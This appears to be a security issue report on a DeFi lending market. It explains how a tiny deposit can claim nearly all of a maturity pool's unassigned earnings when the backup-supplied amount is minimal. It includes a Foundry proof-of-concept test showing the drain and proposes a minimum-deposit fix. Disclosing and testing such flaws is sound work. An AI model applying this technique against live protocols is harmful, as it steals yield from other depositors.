-
Notifications
You must be signed in to change notification settings - Fork 37
Description
Summary
A maturity pool can accumulate a large unassignedEarnings balance. If, at some point, the pool’s backup-supplied amount becomes extremely small (e.g., backupSupplied = 1 unit), then an attakcer who deposits only 1 unit can claim almost 100% of unassignedEarnings as their fee (minus backupFeeRate).
This is exploitable because an attacker can wait for this state and be the first to deposit (or front-run others), draining the bucket.
Flow
- backupSupplied(pool) is the part of fixed borrows not covered by fixed suppliers:
backupSupplied=borrowed−min(borrowed,supplied)
- If
supplied >= borrowed, thenbackupSupplied = 0(fixed suppliers cover all borrows). - If
borrowed > supplied, thenbackupSupplied = borrowed - supplied(the “gap” is covered by the floating/backup side)
unassignedEarnings is an accounting bucket of earnings sitting inside that maturity pool that have not yet been distributed/claimed. So It can build up from normal protocol activity (borrow fees, repayments/penalties, liquidation side-effects) before being “realized” by specific interactions.
- When someone deposits to the maturity pool, the protocol computes a “yield” that comes out of
unassignedEarningsand is credited to the depositor’s position asposition.fee. - The yield is:
(when backupSupplied > 0)
yield. = unassignedEarnings⋅ min(depositAmount,backupSupplied)/ backupSupplied
And the state updates are effectively:
- depositor’s fixed position gets
fee += userFee - pool’s
unassignedEarnings -= (userFee + backupFee)(i.e., the whole yield is removed)
Now lets assume:
- the attacker doesn’t need to supply meaningful capital to “earn” almost all pending earnings just enough to match the tiny
backupSupplied.
Proof of code
Add this function test to the market.t.sol
/// @dev PoC: if `backupSupplied` is tiny (e.g. 1) while `unassignedEarnings` is large,
/// a tiny deposit can claim (almost) all `unassignedEarnings` due to proportional allocation.
///
/// Note: we use `vm.store` to directly set `unassignedEarnings` to an exaggerated value to make
/// the effect unambiguous; the production path is `depositAtMaturity` → `FixedLib.calculateDeposit`.
function testPoC_TinyDepositCanDrainUnassignedEarningsWhenBackupSuppliedIsTiny() public {
uint256 maturity = FixedLib.INTERVAL;
// Provide floating liquidity so the fixed-pool borrow can source from backup.
deal(address(asset), ALICE, 1_000 ether);
vm.startPrank(ALICE);
asset.approve(address(market), type(uint256).max);
market.deposit(1_000 ether, ALICE);
vm.stopPrank();
// Attacker sets up minimal collateral (so `checkBorrow` passes).
deal(address(asset), attacker, 20);
vm.startPrank(attacker);
asset.approve(address(market), type(uint256).max);
market.deposit(10, attacker);
// Create a fixed pool state where `backupSupplied(pool) == 1`:
// borrowed = 1, supplied = 0.
market.borrowAtMaturity(maturity, 1, type(uint256).max, attacker, attacker);
// Force a large amount of unassigned earnings for this maturity.
uint256 unassigned = 100 ether;
uint256 unassignedSlot = stdstore
.target(address(market))
.sig("fixedPools(uint256)")
.with_key(maturity)
.depth(2) // (borrowed, supplied, unassignedEarnings, lastAccrual)
.find();
vm.store(address(market), bytes32(unassignedSlot), bytes32(unassigned));
// With `backupSupplied == 1`, depositing 1 claims ~all `unassignedEarnings` as "fee".
uint256 positionAssets = market.depositAtMaturity(maturity, 1, 0, attacker);
uint256 backupFeeRate = market.backupFeeRate();
uint256 backupFee = unassigned.mulWadDown(backupFeeRate);
uint256 expectedFee = unassigned - backupFee;
assertEq(positionAssets, 1 + expectedFee);
(uint256 principal, uint256 fee) = market.fixedDepositPositions(maturity, attacker);
assertEq(principal, 1);
assertEq(fee, expectedFee);
(, , uint256 unassignedAfter, ) = market.fixedPools(maturity);
assertEq(unassignedAfter, 0);
vm.stopPrank();
}
fIX
- Put a minimum deposit size to be eligible for yield